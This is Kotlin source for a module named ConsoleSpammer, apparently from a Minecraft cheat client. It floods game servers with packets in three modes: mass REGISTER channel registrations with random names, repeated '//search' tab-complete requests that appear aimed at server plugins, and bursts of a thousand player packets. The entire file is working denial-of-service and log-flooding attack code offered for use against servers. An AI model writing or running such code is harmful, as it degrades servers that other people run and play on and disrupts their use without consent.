package net.aspw.client.features.module.impl.exploit

import io.netty.buffer.Unpooled
import net.aspw.client.event.EventTarget
import net.aspw.client.event.TickEvent
import net.aspw.client.event.UpdateEvent
import net.aspw.client.event.WorldEvent
import net.aspw.client.features.module.Module
import net.aspw.client.features.module.ModuleCategory
import net.aspw.client.features.module.ModuleInfo
import net.aspw.client.utils.PacketUtils
import net.aspw.client.utils.misc.RandomUtils
import net.aspw.client.utils.timer.TickTimer
import net.aspw.client.value.ListValue
import net.minecraft.network.PacketBuffer
import net.minecraft.network.play.client.C03PacketPlayer
import net.minecraft.network.play.client.C14PacketTabComplete
import net.minecraft.network.play.client.C17PacketCustomPayload
import net.minecraft.util.BlockPos
import java.util.*


@ModuleInfo(
    name = "ConsoleSpammer",
    spacedName = "Console Spammer",
    category = ModuleCategory.EXPLOIT
)
class ConsoleSpammer : Module() {
    private val modeValue = ListValue("Mode", arrayOf("Channel", "TabCompletes", "OtherPlayer"), "Channel")
    private val sendTimer = TickTimer()

    override val tag: String
        get() = modeValue.get()

    override fun onDisable() {
        sendTimer.reset()
    }

    @EventTarget
    fun onWorld(event: WorldEvent) {
        if (event.worldClient == null) {
            this.state = false
        }
    }

    @EventTarget
    fun onTick(event: TickEvent) {
        when (modeValue.get().lowercase()) {
            "channel" -> {
                for (i in 0 until 100) {
                    val buffer = PacketBuffer(Unpooled.buffer())
                    buffer.writeString("MC|" + RandomUtils.randomString(8))
                    PacketUtils.sendPacketNoEvent(C17PacketCustomPayload("REGISTER", buffer))
                }
            }
        }
    }

    @EventTarget
    fun onUpdate(event: UpdateEvent) {
        when (modeValue.get().lowercase()) {
            "tabcompletes" -> {
                sendTimer.update()
                if (sendTimer.hasTimePassed(150)) {
                    chat("Sent Tab Complete")
                    PacketUtils.sendPacketNoEvent(
                        C14PacketTabComplete(
                            "//search d" + (Math.random() * 1000),
                            BlockPos(0, 0, 0)
                        )
                    )
                    sendTimer.reset()
                }
            }

            "otherplayer" -> {
                if (mc.theWorld.getEntitiesWithinAABBExcludingEntity(mc.thePlayer, mc.thePlayer.entityBoundingBox)
                        .isNotEmpty()
                ) {
                    chat("Sent Sound Packet")
                    for (i in 0..999)
                        mc.netHandler.addToSendQueue(C03PacketPlayer(Random().nextBoolean()))
                }
            }
        }
    }
}